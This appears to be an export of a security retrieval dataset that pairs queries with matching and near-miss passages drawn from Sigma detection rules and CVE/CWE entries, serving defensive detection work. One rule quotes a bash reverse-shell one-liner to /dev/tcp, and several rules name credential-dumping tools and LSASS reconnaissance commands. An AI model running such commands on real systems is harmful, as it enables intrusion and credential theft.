alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: detection rule: Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pod
Matching passage: Sigma rule: Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pod. Logsource: kubernetes / application / audit. Rule: title: Creation Of Pod In System Namespace id: a80d927d-ac6e-443f-a867-e8d6e3897318 status: test description: 'Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names. Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection. Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers. ' references: - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Pod%20or%20container%20name%20similarily/ author: Leo Tsaousis (@laripping) date: 2024-03-26 tags: - attack.stealth - attack.t1036.005 logsource: category: application product: kubernetes service: audit detection: selection: verb: create objectRef.resource: pods objectRef.namespace: kube-system condition: selection falsepositives: - System components such as daemon-set-controller and kube-scheduler also create pods in the kube-system namespace level: medium
Near-miss passage: Sigma rule: Hides the file extension through modification of the registry. Logsource: windows / registry_set. Rule: title: Registry Modification to Hidden File Extension id: 5df86130-4e95-4a54-90f7-26541b40aec2 status: test description: Hides the file extension through modification of the registry references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd - https://unit42.paloaltonetworks.com/ransomware-families/ - https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A author: frack113 date: 2022-01-22 modified: 2023-08-17 tags: - attack.persistence - attack.t1137 logsource: category: registry_set product: windows detection: selection_HideFileExt: TargetObject|endswith: \SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt Details: DWORD (0x00000001) selection_Hidden: TargetObject|endswith: \SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden Details: DWORD (0x00000002) condition: 1 of selection_* falsepositives: - Administrative scripts level: medium
Query: Sigma rule for Detects when an admin share is mounted using net.exe
Matching passage: Sigma rule: Detects when an admin share is mounted using net.exe. Logsource: windows / process_creation. Rule: title: Windows Admin Share Mount Via Net.EXE id: 3abd6094-7027-475f-9630-8ab9be7b9725 related: - id: f117933c-980c-4f78-b384-e3d838111165 type: similar status: test description: Detects when an admin share is mounted using net.exe references: - https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view author: oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga date: 2020-10-05 modified: 2023-02-21 tags: - attack.lateral-movement - attack.t1021.002 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: - \net.exe - \net1.exe - OriginalFileName: - net.exe - net1.exe selection_cli: CommandLine|contains|all: - ' use ' - ' \\\\*\\*$' condition: all of selection_* falsepositives: - Administrators level: medium
Near-miss passage: Sigma rule: Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows. Logsource: windows / process_access. Rule: title: Suspicious Svchost Process Access id: 166e9c50-8cd9-44af-815d-d1f0c0e90dde status: test description: Detects suspicious access to the "svchost" process such as that used by Invoke-Phantom to kill the thread of the Windows event logging service. references: - https://github.com/hlldz/Invoke-Phant0m - https://twitter.com/timbmsft/status/900724491076214784 author: Tim Burrell date: 2020-01-02 modified: 2023-01-30 tags: - attack.defense-impairment - attack.t1685.001 logsource: category: process_access product: windows detection: selection: TargetImage|endswith: :\Windows\System32\svchost.exe GrantedAccess: '0x1F3FFF' CallTrace|contains: UNKNOWN filter_main_msbuild: SourceImage|contains: :\Program Files\Microsoft Visual Studio\ SourceImage|endswith: \MSBuild\Current\Bin\MSBuild.exe CallTrace|contains: - Microsoft.Build.ni.dll - System.ni.dll condition: selection and not 1 of filter_main_* falsepositives: - Unknown level: high
Query: write Sigma for Detects download of certain file types from hosts in suspicious TLDs
Matching passage: Sigma rule: Detects download of certain file types from hosts in suspicious TLDs. Logsource: proxy. Rule: title: Download From Suspicious TLD - Blacklist id: 00d0b5ab-1f55-4120-8e83-487c0a7baf19 related: - id: b5de2919-b74a-4805-91a7-5049accbaefe type: similar status: test description: Detects download of certain file types from hosts in suspicious TLDs references: - https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap - https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf - https://www.spamhaus.org/statistics/tlds/ - https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/ author: Florian Roth (Nextron Systems) date: 2017-11-07 modified: 2023-05-18 tags: - attack.initial-access - attack.t1566 - attack.execution - attack.t1203 - attack.t1204.002 logsource: category: proxy detection: selection: c-uri-extension: - exe - vbs - bat - rar - ps1 - doc - docm - xls - xlsm - pptm - rtf - hta - dll - ws - wsf - sct - zip cs-host|endswith: - .country - .stream - .gdn - .mom - .xin - .kim - .men - .loan - .download - .racing - .online - .science - .ren - .gb - .win - .top - .review - .vip - .party - .tech - .xyz - .date - .faith - .zip - .cricket - .space - .info - .vn - .cm - .am - .cc - .asia - .ws - .tk - .biz - .su - .st - .ro - .ge - .ms - .pk - .nu - .me - .ph - .to - .tt - .name - .tv - .kz - .tc - .mobi - .study - .click - .link - .trade - .accountant - .cf - .gq - .ml - .ga - .pw condition: selection falsepositives: - All kinds of software downloads level: low
Near-miss passage: Sigma rule: Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.. Logsource: azure / activitylogs. Rule: title: Azure Suppression Rule Created id: 92cc3e5d-eb57-419d-8c16-5c63f325a401 status: test description: Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection. references: - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations author: Austin Songer date: 2021-08-16 modified: 2022-08-23 tags: - attack.impact logsource: product: azure service: activitylogs detection: selection: operationName: MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE condition: selection falsepositives: - Suppression Rule being created may be performed by a system administrator. - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. - Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. level: medium
Query: Sigma rule for An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, Amm
Matching passage: Sigma rule: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, Amm. Logsource: windows / process_creation. Rule: title: Remote Access Tool - AnyDesk Execution id: b52e84a3-029e-4529-b09b-71d19dd27e94 status: test related: - id: 065b00ca-5d5c-4557-ac95-64a6d0b64d86 type: similar description: 'An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows - https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/ author: frack113 date: 2022-02-11 modified: 2025-02-24 tags: - attack.command-and-control - attack.t1219.002 logsource: category: process_creation product: windows detection: selection: - Image|endswith: - \AnyDesk.exe - \AnyDeskMSI.exe - Description: AnyDesk - Product: AnyDesk - Company: AnyDesk Software GmbH condition: selection falsepositives: - Legitimate use level: medium
Near-miss passage: Sigma rule: Alerts on trust record modification within the registry, indicating usage of macros. Logsource: windows / registry_event. Rule: title: Windows Registry Trust Record Modification id: 295a59c1-7b79-4b47-a930-df12c15fc9c2 related: - id: a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd type: similar status: test description: Alerts on trust record modification within the registry, indicating usage of macros references: - https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/ - http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html - https://twitter.com/inversecos/status/1494174785621819397 author: Antonlovesdnb, Trent Liffick (@tliffick) date: 2020-02-19 modified: 2023-06-21 tags: - attack.initial-access - attack.t1566.001 logsource: category: registry_event product: windows detection: selection: TargetObject|contains: \Security\Trusted Documents\TrustRecords condition: selection falsepositives: - This will alert on legitimate macro usage as well, additional tuning is required level: medium
Query: patch priority for CVE-2015-7079
Matching passage: CVE-2015-7079. CWE: CWE-20. CVSS: 9.300000190734863. dyld in Apple iOS before 9.2 and tvOS before 9.1 mishandles segment validation, which allows attackers to execute arbitrary code in a privileged context via a crafted app.
Near-miss passage: CVE-2015-2765. CWE: CWE-20. CVSS: 4.300000190734863. The Email Security Gateway in Websense TRITON AP-EMAIL before 8.0.0 allows remote attackers to conduct clickjacking attacks via unspecified vectors.
Query: CVE similar to CVE-2015-7183
Matching passage: CVE-2015-7183. CWE: CWE-119. CVSS: 7.5. Integer overflow in the PL_ARENA_ALLOCATE implementation in Netscape Portable Runtime (NSPR) in Mozilla Network Security Services (NSS) before 3.19.2.1 and 3.20.x before 3.20.1, as used in Firefox before 42.0 and Firefox ESR 38.x before 38.4 and other products, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via unspecified vectors.
Near-miss passage: CVE-2015-2379. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Word 2007 SP3, Office 2010 SP2, Word 2010 SP2, Word 2013 SP1, Word 2013 RT SP1, Office for Mac 2011, and Word Viewer allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Office document, aka "Microsoft Office Memory Corruption Vulnerability."
Query: secure coding against finalize() Method Without super.finalize()
Matching passage: CWE-568 finalize() Method Without super.finalize(). The product contains a finalize() method that does not call super.finalize().
Near-miss passage: CWE-479 Signal Handler Use of a Non-reentrant Function. The product defines a signal handler that calls a non-reentrant function.
Query: describe CVE-2015-2793
Matching passage: CVE-2015-2793. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in templates/openid-selector.tmpl in ikiwiki before 3.20150329 allows remote attackers to inject arbitrary web script or HTML via the openid_identifier parameter in a verify action to ikiwiki.cgi.
Near-miss passage: CVE-2015-9357. CWE: CWE-79. CVSS: 6.099999904632568. The akismet plugin before 3.1.5 for WordPress has XSS.
Query: detect Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords in logs
Matching passage: Sigma rule: Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords. Logsource: windows / process_creation. Rule: title: HackTool - Windows Credential Editor (WCE) Execution id: 7aa7009a-28b9-4344-8c1f-159489a390df status: test description: 'Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory. It is often used by threat actors for credential dumping and lateral movement within compromised networks. ' references: - https://www.ampliasecurity.com/research/windows-credentials-editor/ author: Florian Roth (Nextron Systems) date: 2019-12-31 modified: 2025-10-21 tags: - attack.credential-access - attack.t1003.001 - attack.s0005 logsource: category: process_creation product: windows detection: selection_img: Image|endswith: - \WCE.exe - \WCE64.exe selection_hash: Hashes|contains: - IMPHASH=136F0A8572C058A96436C82E541E4C41 - IMPHASH=589657C64DDE88533186C39F82FA1F50 - IMPHASH=6BFE09EFCB4FFDE061EBDBAFC4DB84CF - IMPHASH=7D490037BF450877E6D0287BDCFF8D2E - IMPHASH=8AB93B061287C79F3088C5BC7E7D97ED - IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F - IMPHASH=BA434A7A729EEC20E136CA4C32D6C740 - IMPHASH=BD1D1547DA13C0FCB6C15E86217D5EB8 - IMPHASH=E96A73C7BF33A464C510EDE582318BF2 condition: 1 of selection_* falsepositives: - Unknown level: critical
Near-miss passage: Sigma rule: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.. Logsource: linux / network_connection. Rule: title: Linux Reverse Shell Indicator id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871 status: test description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1') references: - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md author: Florian Roth (Nextron Systems) date: 2021-10-16 modified: 2022-12-25 tags: - attack.execution - attack.t1059.004 logsource: product: linux category: network_connection detection: selection: Image|endswith: /bin/bash filter: DestinationIp: - 127.0.0.1 - 0.0.0.0 condition: selection and not filter falsepositives: - Unknown level: critical
Query: detection rule: Detects potentially suspicious child processes of "regsvr32.exe".
Matching passage: Sigma rule: Detects potentially suspicious child processes of "regsvr32.exe".. Logsource: windows / process_creation. Rule: title: Potentially Suspicious Child Process Of Regsvr32 id: 6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca related: - id: 8e2b24c9-4add-46a0-b4bb-0057b4e6187d type: obsolete status: test description: Detects potentially suspicious child processes of "regsvr32.exe". references: - https://redcanary.com/blog/intelligence-insights-april-2022/ - https://www.echotrail.io/insights/search/regsvr32.exe - https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) date: 2022-05-05 modified: 2023-05-26 tags: - attack.stealth - attack.t1218.010 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \regsvr32.exe Image|endswith: - \calc.exe - \cscript.exe - \explorer.exe - \mshta.exe - \net.exe - \net1.exe - \nltest.exe - \notepad.exe - \powershell.exe - \pwsh.exe - \reg.exe - \schtasks.exe - \werfault.exe - \wscript.exe filter_main_werfault: Image|endswith: \werfault.exe CommandLine|contains: ' -u -p ' condition: selection and not 1 of filter_main_* falsepositives: - Unlikely, but can rarely occur. Apply additional filters accordingly. level: high
Near-miss passage: Sigma rule: Identifies when a application security group is modified or deleted.. Logsource: azure / activitylogs. Rule: title: Azure Application Security Group Modified or Deleted id: 835747f1-9329-40b5-9cc3-97d465754ce6 status: test description: Identifies when a application security group is modified or deleted. references: - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations author: Austin Songer date: 2021-08-16 modified: 2022-08-23 tags: - attack.impact logsource: product: azure service: activitylogs detection: selection: operationName: - MICROSOFT.NETWORK/APPLICATIONSECURITYGROUPS/WRITE - MICROSOFT.NETWORK/APPLICATIONSECURITYGROUPS/DELETE condition: selection falsepositives: - Application security group being modified or deleted may be performed by a system administrator. - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. - Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. level: medium
Query: risk of Double free vulnerability in Apple iOS before 9.1 and OS X before 10.11.1 allows attackers to write to arbitrary files via a crafted app that accesses AtomicBufferedFile descriptor
Matching passage: CVE-2015-6983. CWE: UNKNOWN. CVSS: 8.800000190734863. Double free vulnerability in Apple iOS before 9.1 and OS X before 10.11.1 allows attackers to write to arbitrary files via a crafted app that accesses AtomicBufferedFile descriptors.
Near-miss passage: CVE-2015-0814. CWE: UNKNOWN. CVSS: 7.5. Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 37.0 allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly execute arbitrary code via unknown vectors.
Query: CVE similar to CVE-2015-0805
Matching passage: CVE-2015-0805. CWE: CWE-17. CVSS: 7.5. The Off Main Thread Compositing (OMTC) implementation in Mozilla Firefox before 37.0 makes an incorrect memset call during interaction with the mozilla::layers::BufferTextureClient::AllocateForSurface function, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors that trigger rendering of 2D graphics content.
Near-miss passage: CVE-2015-1728. CWE: CWE-17. CVSS: 9.300000190734863. Microsoft Windows Media Player 10 through 12 allows remote attackers to execute arbitrary code via a crafted DataObject on a web site, aka "Windows Media Player RCE via DataObject Vulnerability."
Query: CVE similar to CVE-2015-4823
Matching passage: CVE-2015-4823. CWE: UNKNOWN. CVSS: 1.2000000476837158. Unspecified vulnerability in the Hyperion Installation Technology component in Oracle Hyperion 11.1.2.3 allows local users to affect confidentiality via unknown vectors related to Essbase Rapid Deploy.
Near-miss passage: CVE-2015-3959. CWE: UNKNOWN. CVSS: 7.199999809265137. The firmware in MNS before 4.5.6 on Belden GarrettCom Magnum 6K and Magnum 10K switches has a hardcoded serial-console password for a privileged account, which might allow physically proximate attackers to obtain access by establishing a console session to a nonstandard installation on which this account is enabled, and leveraging knowledge of this password.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID. Logsource: windows / process_creation. Rule: title: LSASS Process Reconnaissance Via Findstr.EXE id: fe63010f-8823-4864-a96b-a7b4a0f7b929 status: test description: Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID references: - https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1 author: Florian Roth (Nextron Systems) date: 2022-08-12 modified: 2024-06-04 tags: - attack.credential-access - attack.t1552.006 logsource: category: process_creation product: windows detection: selection_findstr_img: - Image|endswith: - \find.exe - \findstr.exe - OriginalFileName: - FIND.EXE - FINDSTR.EXE selection_findstr_cli: CommandLine|contains: lsass selection_special: CommandLine|contains|windash: - ' /i "lsass' - ' /i lsass.exe' - findstr "lsass - findstr lsass - findstr.exe "lsass - findstr.exe lsass condition: all of selection_findstr_* or selection_special falsepositives: - Unknown level: high regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_lsass/info.yml
Near-miss passage: Sigma rule: Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker t. Logsource: windows / ps_script. Rule: title: Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock id: da34e323-1e65-42db-83be-a6725ac2caa3 status: test description: 'Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/5f866ca4517e837c4ea576e7309d0891e78080a8/atomics/T1040/T1040.md#atomic-test-16---powershell-network-sniffing - https://github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/blob/7b8935fe4c82cb64d61343de1a8b2e38dd968534/handbooks/10_post_exploitation.md - https://github.com/forgottentq/powershell/blob/9e616363d497143dc955c4fdce68e5c18d28a6cb/captureWindows-Endpoint.ps1#L13 author: frack113 date: 2024-05-12 tags: - attack.credential-access - attack.discovery - attack.t1040 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains: Start-NetEventSession condition: selection falsepositives: - Legitimate network diagnostic scripts. level: medium